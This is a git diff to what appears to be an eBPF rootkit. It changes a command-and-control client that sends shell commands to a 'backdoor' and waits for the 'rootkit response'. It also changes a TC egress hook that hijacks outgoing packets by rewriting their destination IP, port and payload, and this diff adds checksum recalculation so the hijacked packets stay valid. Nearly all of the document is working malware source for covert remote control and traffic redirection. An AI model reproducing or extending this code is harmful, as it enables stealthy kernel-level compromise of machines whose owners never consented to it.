diff --git a/src/.output/kit.o b/src/.output/kit.o index 5550263..06ef280 100644 Binary files a/src/.output/kit.o and b/src/.output/kit.o differ diff --git a/src/.output/kit.skel.h b/src/.output/kit.skel.h index 5707b7c..d719329 100644 --- a/src/.output/kit.skel.h +++ b/src/.output/kit.skel.h @@ -2526,13 +2526,13 @@ kit_bpf__create_skeleton(struct kit_bpf *obj) \0\xae\x2f\0\0\x42\x38\0\0\x05\x48\x01\0\xe8\x2f\0\0\xae\x2f\0\0\x8b\x38\0\0\ \x05\x58\x01\0\x18\x30\0\0\xae\x2f\0\0\xd8\x38\0\0\x17\x5c\x01\0\x38\x30\0\0\ \xae\x2f\0\0\xd8\x38\0\0\x15\x5c\x01\0\x50\x30\0\0\xae\x2f\0\0\x22\x39\0\0\x13\ -\x64\x01\0\x60\x30\0\0\x39\x39\0\0\x78\x39\0\0\x05\xe4\0\0\x98\x30\0\0\x39\x39\ -\0\0\xd4\x39\0\0\x0d\0\x01\0\xc8\x30\0\0\x39\x39\0\0\x13\x3a\0\0\x12\xb0\0\0\ -\xe0\x30\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\xb0\0\0\xf8\x30\0\0\x39\x39\0\0\x13\ -\x3a\0\0\x12\xb0\0\0\x10\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\xb0\0\0\x28\x31\0\ -\0\x39\x39\0\0\x13\x3a\0\0\x12\xb0\0\0\x40\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\ -\xb0\0\0\x58\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x12\xb0\0\0\x68\x31\0\0\x39\x39\0\ -\0\x13\x3a\0\0\x0d\xb0\0\0\x70\x31\0\0\xae\x2f\0\0\x2c\x3a\0\0\x12\x6c\x01\0\ +\x64\x01\0\x60\x30\0\0\x39\x39\0\0\x78\x39\0\0\x05\xec\0\0\x98\x30\0\0\x39\x39\ +\0\0\xd4\x39\0\0\x0d\x08\x01\0\xc8\x30\0\0\x39\x39\0\0\x13\x3a\0\0\x12\xb8\0\0\ +\xe0\x30\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\xb8\0\0\xf8\x30\0\0\x39\x39\0\0\x13\ +\x3a\0\0\x12\xb8\0\0\x10\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\xb8\0\0\x28\x31\0\ +\0\x39\x39\0\0\x13\x3a\0\0\x12\xb8\0\0\x40\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x0d\ +\xb8\0\0\x58\x31\0\0\x39\x39\0\0\x13\x3a\0\0\x12\xb8\0\0\x68\x31\0\0\x39\x39\0\ +\0\x13\x3a\0\0\x0d\xb8\0\0\x70\x31\0\0\xae\x2f\0\0\x2c\x3a\0\0\x12\x6c\x01\0\ \x80\x31\0\0\xae\x2f\0\0\x2c\x3a\0\0\x10\x6c\x01\0\x88\x31\0\0\xae\x2f\0\0\x43\ \x3a\0\0\x05\x70\x01\0\xd0\x31\0\0\x2f\x0f\0\0\0\0\0\0\0\0\0\0\xe0\x31\0\0\x2f\ \x0f\0\0\x8f\x3a\0\0\x3e\x4c\x04\0\xf0\x31\0\0\x2f\x0f\0\0\x8f\x3a\0\0\x0c\x4c\ diff --git a/src/bin/kit b/src/bin/kit index 9dec209..99422a3 100755 Binary files a/src/bin/kit and b/src/bin/kit differ diff --git a/src/client/client.c b/src/client/client.c index 404d771..adbdc0e 100644 --- a/src/client/client.c +++ b/src/client/client.c @@ -9,6 +9,7 @@ #include #include #include +#include #include "../common/constants.h" #include "../common/c&c.h" @@ -112,17 +113,27 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){ char* request = calloc(4096, sizeof(char)); strcpy(request, CC_PROT_BASH_COMMAND_REQUEST); strcat(request, buf); - packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request); - //printf("Sending %s\n", msg); - if(rawsocket_send(packet)<0){ - printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); + packet_t packet; + pid_t pid = fork(); + if(pid<0){ + printf("["KRED"ERROR"RESET"]""Could not fork() process\n"); return 1; } + if(pid==0){ + sleep(5); + packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request); + //printf("Sending %s\n", msg); + if(rawsocket_send(packet)<0){ + printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n"); + return 1; + } + exit(0); + } printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); packet = rawsocket_sniff_pattern(CC_PROT_BASELINE); char* res = packet.payload; //TODO make the shell to fork and wait for response, but accept new requests meanwhile - if(strncmp(buf, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){ + if(strncmp(res, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){ //Received a response char *p; p = strtok(buf, "#"); @@ -133,10 +144,10 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){ }else{ printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n"); } - }else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){ + }else if(strncmp(res, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){ printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request); - }else if(strncmp(buf, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))==0){ - printf("[" KGRN "INIT" RESET "]""The backdoor just signaled that everything is ready and working!"); + }else if(strncmp(res, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))==0){ + printf("[" KGRN "WARN" RESET "]""The backdoor just signaled an ACK. This should not have happened."); }else{ //If at this point, then we failed to identify the backdoor message //We attempt to send a final message indicating we are halting the connection @@ -427,7 +438,7 @@ void phantom_shell_request(char* argv){ printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n"); //Wait for rootkit ACK to ensure it's up - rawsocket_sniff_pattern(CC_PROT_ACK); + rawsocket_sniff_pattern(CC_PROT_PHANTOM_SHELL_INIT); printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n"); client_mode = CLIENT_MODE_PHANTOM_SHELL; diff --git a/src/client/client.o b/src/client/client.o index 2f8da6b..90a82b5 100644 Binary files a/src/client/client.o and b/src/client/client.o differ diff --git a/src/client/injector b/src/client/injector index 700a0d5..ff7e816 100755 Binary files a/src/client/injector and b/src/client/injector differ diff --git a/src/ebpf/include/bpf/tc.c b/src/ebpf/include/bpf/tc.c index 410569e..de579b0 100644 --- a/src/ebpf/include/bpf/tc.c +++ b/src/ebpf/include/bpf/tc.c @@ -112,22 +112,37 @@ int classifier_egress(struct __sk_buff *skb){ bpf_printk("Phantom shell active now, A:%i IP:%x P:%x\n", ps_data->active, ps_data->d_ip, ps_data->d_port); bpf_printk("Phantom shell param payload: %s\n", ps_data->payload); __u32 new_ip = ps_data->d_ip; - __u16 new_port = ps_data->d_port; - __u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr); - __u32 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr); + __u16 new_dport = ps_data->d_port; + __u32 offset_ip_daddr = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr); + __u32 offset_dport = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr); + __u32 offset_ip_checksum = offsetof(struct iphdr, check)+ sizeof(struct ethhdr); + __u32 offset_tcp_checksum = offsetof(struct tcphdr, check)+ sizeof(struct ethhdr) +sizeof(struct iphdr); //bpf_printk("Payload: %s\n", payload); //TODO, adjust the length to the new payload. Verifier complains a lot so we will keep it like this for now __u32 increment_len = sizeof(char)*64; - - bpf_printk("offset ip: %u\n", offset_ip); - int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), 0); + __u32 old_ip_daddr; + bpf_skb_load_bytes(skb, offset_ip_daddr, &old_ip_daddr, sizeof(__u32)); + __u16 old_dport; + bpf_skb_load_bytes(skb, offset_dport, &old_dport, sizeof(__u16)); + bpf_printk("offset ip: %u\n", offset_ip_daddr); + int ret = bpf_l3_csum_replace(skb, offset_ip_checksum, old_ip_daddr, new_ip, sizeof(__u32)); + if (ret < 0) { + bpf_printk("Failed to recompute l3 checksum: %d\n", ret); + return TC_ACT_OK; + } + ret = bpf_skb_store_bytes(skb, offset_ip_daddr, &new_ip, sizeof(__u32), 0); if (ret < 0) { bpf_printk("Failed to overwrite destination ip: %d\n", ret); return TC_ACT_OK; } - bpf_printk("offset port: %u\n", offset_port); - ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), 0); + bpf_printk("offset port: %u\n", offset_dport); + ret = bpf_l4_csum_replace(skb, offset_tcp_checksum, old_dport, new_dport, sizeof(__u16)); + if (ret < 0) { + bpf_printk("Failed to recompute l4 checksum: %d\n", ret); + return TC_ACT_OK; + } + ret = bpf_skb_store_bytes(skb, offset_dport, &new_dport, sizeof(__u16), 0); if (ret < 0) { bpf_printk("Failed to overwrite destination port: %d\n", ret); return TC_ACT_OK; @@ -204,6 +219,42 @@ int classifier_egress(struct __sk_buff *skb){ bpf_printk("Failed to overwrite payload: %d\n", ret); return TC_ACT_OK; } + + data = (void *)(__u64)skb->data; + data_end = (void *)(__u64)skb->data_end; + + eth = data; + if ((void *)eth + sizeof(struct ethhdr) > data_end){ + bpf_printk("ETH\n"); + return TC_ACT_OK; + } + ip = (struct iphdr*)(data + sizeof(struct ethhdr)); + if ((void *)ip + sizeof(struct iphdr) > data_end){ + bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end); + return TC_ACT_OK; + } + tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr)); + if ((void *)tcp + sizeof(struct tcphdr) > data_end){ + bpf_printk("TCP CHECK\n"); + return TC_ACT_OK; + } + + //Fixing IP checksum + //bpf_printk("Old value %x, new value %x\n", htons(ip->tot_len), htons(ntohs(ip->tot_len)+increment_len)); + __u32 offset_ip_tot_len = offsetof(struct iphdr, tot_len)+ sizeof(struct ethhdr); + __u16 new_tot_len = htons(ntohs(ip->tot_len)+increment_len); + ret = bpf_l3_csum_replace(skb, offset_ip_checksum, (ip->tot_len), new_tot_len, sizeof(__u16)); + if (ret < 0) { + bpf_printk("Failed to recompute l3 checksum: %d\n", ret); + return TC_ACT_OK; + } + bpf_printk("New ip tot len: %i\n", ntohs(new_tot_len)); + ret = bpf_skb_store_bytes(skb, offset_ip_tot_len, &new_tot_len, sizeof(__u16), 0); + if (ret < 0) { + bpf_printk("Failed to overwrite ip total len: %d\n", ret); + return TC_ACT_OK; + } + bpf_printk("Finished packet hijacking routine\n"); return TC_ACT_OK; diff --git a/src/ebpf/include/packet/protocol/ip_helper.h b/src/ebpf/include/packet/protocol/ip_helper.h index 0804277..7378e32 100644 --- a/src/ebpf/include/packet/protocol/ip_helper.h +++ b/src/ebpf/include/packet/protocol/ip_helper.h @@ -5,9 +5,11 @@ #include #include */ +#ifndef __H_TCKIT #include #include #include "headervmlinux.h" +#endif /** * IP checksum calculation. diff --git a/src/ebpf/include/xdp/backdoor.h b/src/ebpf/include/xdp/backdoor.h index 28c22b9..3e4e25e 100644 --- a/src/ebpf/include/xdp/backdoor.h +++ b/src/ebpf/include/xdp/backdoor.h @@ -171,7 +171,7 @@ backdoor_finish: execute_key_command(command_received, ip, port); - + //return XDP_PASS; return XDP_DROP; } diff --git a/src/tc.o b/src/tc.o index 6a6fdd1..1adb773 100644 Binary files a/src/tc.o and b/src/tc.o differ